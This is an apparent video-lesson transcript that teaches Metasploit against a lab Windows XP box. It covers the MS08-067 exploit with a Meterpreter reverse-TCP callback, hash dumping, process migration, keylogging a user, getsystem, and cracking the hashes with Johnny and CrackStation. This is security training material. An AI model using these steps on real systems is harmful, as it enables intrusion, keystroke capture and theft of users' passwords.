In this lesson,
I'm going to teach you how to use the Meterpreter payload
and how to conduct privilege escalation.
In this demonstration,
I'm using a very vulnerable version of Windows,
which is actually Windows XP,
which has long since been retired,
but it makes a great machine to attack and practice on
because it is so vulnerable.
Now, all the techniques I'm going to show you
will still work on modern systems,
like Windows 10 and Windows 11.
You just have to use the right exploits
to be able to get access to them
and then use the Meterpreter payload from there.
But for the purposes of our demonstration,
we're going to keep it simple
and use our Kali machine to attack a Windows XP box.
To get started we need to
open up our Metasploit framework.
From our Metasploit framework we'll just type in
use
exploit/windows
SMB
MS08
_067
_netapi.
Then we're going to set our payload
and we're going to use the Meterpreter payload,
which is windows/meterpreter/reverse TCP.
Now at this point we're going to show our options,
and you'll notice that we need
to set our R host and our L host.
So we're going to set our R host for our Windows machine.
In my case,
the IP for that is .56.100.
And then I'm going to set my L host
to my Kali machine,
which in my case, is 56.102.
Then I will show my options one more time,
and you'll see at this point,
that I have my Windows machine IP as my R host.
We're going to be attacking port 445
with the netapi vulnerability.
We're going to use our payload of Meterpreter
and we're going to have the callback
go back to our Kali machine on port 4444.
And now at this point,
we're just going to type in exploit.
And we now have a established connection
where we've triggered the vulnerability
in the Windows XP machine,
and it is called back to us with the stage two.
And we have that connection from the Windows machine...
From the Windows machine here to our Kali machine here.
So now we're at the Meterpreter prompt.
So what do we want to do?
Well, the first thing I want to do
is I want to know what process I am.
So I'm going to type in getpid
and it tells me that I'm process 980.
So to understand what that is,
I'm going to type in PS,
which is going to list all of the running processes
on the Windows machine.
So as you can see, process 980 is right here.
It's the service host process.
And that is actually the system level user,
NT authority/system.
So right now we already have
system level rights on this machine,
so there's no need to escalate our privileges,
but if we were a lower level user,
we would have to escalate our privileges up.
So I'm going to show you some techniques
for doing that as well.
The reason why we are a system level user in this case
is because the exploit we're doing is the service host
and the service host is always run as system.
Now if, instead,
we use something like a spear phishing campaign,
we would end up being brought in as that user
who probably doesn't have admin rights
and we'd have to work our way up.
And we can still run a lot of the same processes,
like the hash dumps and password cracking,
to start from there and migrate upward.
So now that we see what process we're in,
let's go ahead and see what system ID we have.
So we'll just type in getsid
and you'll notice that it says we are S-1-5-18.
Now anything under 500 is going to be
a system level type process,
whether that's going to be something like
the local service or the system itself.
Now once we get into users,
they start out at 1000 and go above.
If you're the administrator that's a 500 level account.
So this last dash number here is going to tell us
a lot about what type of process that is
and what type of user we are.
So now that we're here,
let's go ahead and do a hash dump
and we'll see what other users are on the system.
So here we go. We have the administrator account.
Again, that's that SID 500.
We have a guest, which is SID 501.
We have the help assistant, starts at 1000.
The John Sim user is User
1003.
And then we have this support account, which is 1002.
So what I'm going to do is I'm just going to
copy all of this text here
and we're going to put it into a text file
and we're going to save that to our desktop.
And to do that, I'm just going to open a terminal here.
I'm going to type in gedit,
which is a graphical text editor,
and we can just paste that in.
And then we're going to go ahead and save it to the desktop
so we'll know where it is
and we'll just call that hash dump.
And at this point we can close that out
and we can close out that one.
So now we have a text file with that information
so we can use that in our password cracking.
Now before we get to that,
I'm going to still play with Meterpreter
a little bit more here first
and show you some other things.
We can do a migration from one process to another
and that should change us into that user.
So for instance,
right now we are in process 980,
which is NT Authority System.
If I started running things as system,
like the notepad, that would look suspicious,
but if I did it as John Sim, it wouldn't.
So I'm going to go ahead and change myself
into this one right here,
which is process 1248.
And that should change me into John Sim,
who has a SID of
1003.
So what we're going to do is just type in migrate
and the PID we want to go to,
which, in this case, is 1248.
So
migrate to 1248
and you'll see that we're migrating from 980 to 1248.
It takes a couple seconds
and now we should be loaded into that process.
It says we're complete.
So let's getpid
and make sure that we are in the process we wanted.
So getpid,
we verified we are in 1248,
and so now if I do PS
you can see that 1248
is a process owned by John Sim.
So let's get our SID and verify that.
It should tell us that we're SID 1003
because that's John Sim's SID.
And in this case, we do have SID 1003,
which is John Sim.
So that's how you can migrate from one user to another
and one process to another.
Now, why else might you want to migrate processes?
If the process I'm sitting in crashes,
I'm going to lose my access.
So if I break in,
I'm going to want to migrate to something
more stable and more hidden,
such as
the service host
or the Services.EXE
or Explorer.EXE
because they're a lot more stable
and they don't crash as often.
Now the other thing to note
is why might I want to go to a user
that's not system or admin?
Like, in this case, John Sim's a regular user.
Why would I want to migrate into him?
Well, one of the reasons why I might want to do that
is if I wanted to do keylogging.
So if I wanted to keylog John Sim,
I have to be logged in as John Sim.
And so in this case,
I now am John Sim so I can start my keylogger
and capture those keystrokes.
I'll go ahead and show that to you now
because, again,
this is another way to escalate our privileges.
If John happens to have admin rights
and he's on his user account daily,
and then types in his password
to elevate into an admin status...
Like, he installed a new printer
or something like that,
we'd be able to capture that password.
Let me bring up the keylogger commands here
just to remind us.
So we'll go up here to Help,
and we have our keyscan start,
keyscan stop,
and, again, our keyscan dump
to get those keystrokes.
So let's go ahead and start it
by doing keyscan start.
So if I go here and do a keyscan start,
and now John Sim is on his machine,
and let's say he was opening up a notepad
and typing in
his passwords.
"Here's my email address and my password of password."
And then he decides, "You know,
that's really not a secure way to save my passwords.
I'm going to go ahead and delete those."
So he just gets rid of that.
Never had any evidence.
Well, we happen to capture it
because we were capturing his keystrokes.
And so right here you can see he pressed return,
he did password list, hit return,
typed in that, hit return,
and then password.
So why might this be useful?
Well, if I had my keyscanner going the whole time
and I'm capturing all this data,
I can capture his side of all conversations,
all his instant messages,
all his emails,
all his usernames and passwords,
all of this information
is stuff that I can use to elevate my permissions
and spread laterally into other systems.
So I might now have his usernames and passwords
for his banking, his Facebook, his Twitter,
all of that stuff because we captured all those keystrokes.
It's a pretty cool technique.
So now going back to our escalating privileges,
we're still sitting here as John Sim, as the user.
So the next thing we want to look at
is migrating back to system,
and we'll go ahead and do that,
we'll just
do a PS so we can figure out what process we want to go to
and we can go ahead and migrate ourself into 980 again,
just like we were before, and go back to system,
and we'll just migrate
980.
Again, that's going to move us back,
and at this point we should now be the system level user.
So we'll do that.
Getpid,
we're in 980.
Getsid,
we're back to the system level user,
which is that -18.
One other thing I'll show you, lets...
We're going to go back to John Sim here
one more time 'cause I forgot to show this to you.
We'll go back to his PID, which was 1248.
So now we're back here,
you can see that we are user 1003.
Again, that's John Sim.
Another way to get system
is actually using the command getsystem
and it's part of Meterpreter.
And so if you just type in get system,
it will go ahead and move
and get you system level access.
So now if I get my SID,
I'm back here as the system level.
Now let's see what process it put us in.
We're still in John's process,
but we are the system user now.
So that's something else that you can look at here.
It's an interesting technique
and it works most of the time.
So if we look up here in the process list,
you'll see that there's
this local service account, for instance.
This isn't even a user account.
This is below user.
All it does is local services,
and this happens to be
for the sound drivers in my system.
Now you also have this network services.
These processes have such low level access,
you can't migrate back into John or back into system
because you're too low of a level at that point.
The only way to break back out of this
is actually to exit out of the system
and then re-exploit the system.
So be careful where you jump into
because if you have system or domain level rights
and you go down to a standard user
to do something like a keystroke,
depending on that user's level of access,
you can actually get yourself stuck in that user
and you're going to be done at that point.
And that's why being able to have their password,
to be able log in is them is very important.
And that's where our hash dump came in.
So if you remember, we had run the hash dump command
and we got all of these hashes.
And so what I ended up doing with them
is I put them in this text file.
So what we're going to do is we're going to use
a program called Johnny.
So under applications,
we'll go into Password Attacks,
and click on Johnny.
Now from Johnny we're going to open a password file
and the file we're going to open is on our desktop
and it's called hashdump.
That was the file that we put in the text.
Now as we go through,
it immediately starts
and it starts going through the attack for us.
It's going to try to crack
any of the passwords it can find based on the hashes.
And so here you see
Administrator was already cracked as password
and it's working on John Sim.
So far it doesn't know what the first part is,
but it got the last two letters, which is HO.
Now this is doing a brute force attack,
so this can take a long time as it tries
to crack things if they're not real words.
So in the case of John Sim,
this actually says "Doctor Who".
So the first part of it is going to be
doctor with a W at the end.
That's not a real word
so it's going to take a long time
for it to go through and do its cracking.
Now, something that would be a lot quicker
is for us to go to something
like Crack Station on the internet.
And so let's go ahead,
and I'll show you how that works with John Sim here.
So when we created our Kali machine,
we didn't allow copy and pasting from Kali
back to our desktop environment.
So I'm going to have to actually type that in.
So it's CDD
3AE
5
197
AA
40
CC
477
A1
8
0
BA
53
33
5E6.
And then we're going to go ahead
and put in the code over here,
which is Diesel Lion is what it looks like,
and then crack the hash.
And you'll see how quickly
it's going to come back with Crack Station.
Comes back immediately
and it gives us lots of different choices
of what it thinks it could be
based on the fact that we have that particular hash.
Now, why are there multiple things
that it could be based on this hash?
So the reason why we have this duplication
is there's actually repetition in the hash tables.
One of the reasons for that is that
LM hashes only support 14 characters.
Anything over 14 characters,
what it does is it breaks them in half,
seven letters and seven letters,
hashes each part and then goes again.
So in our case,
you'll see the fact that we have this
doctorWoodland,
DOCTORWHOEBGUIDE,
doctorwhowebguide,
and if you hash any of these,
it goes back to the same hash.
Now what does this tell us?
Because now we're like, "Oh, which one do we choose?"
Well, if we go back to our Jack the Ripper,
if you remember,
we ended up having...
If we count the letters D-O-C-T-O-R-W,
that is the first seven,
and notice that all of these first seven
are the same.
DoctorW.
So that's going to give us
the first seven letters guaranteed.
Well, the nice thing was we had already found
the last two letters was HO,
so we could figure out now it's Doctor W-H-O.
DoctorWho.
And then we can use that as the password to get it.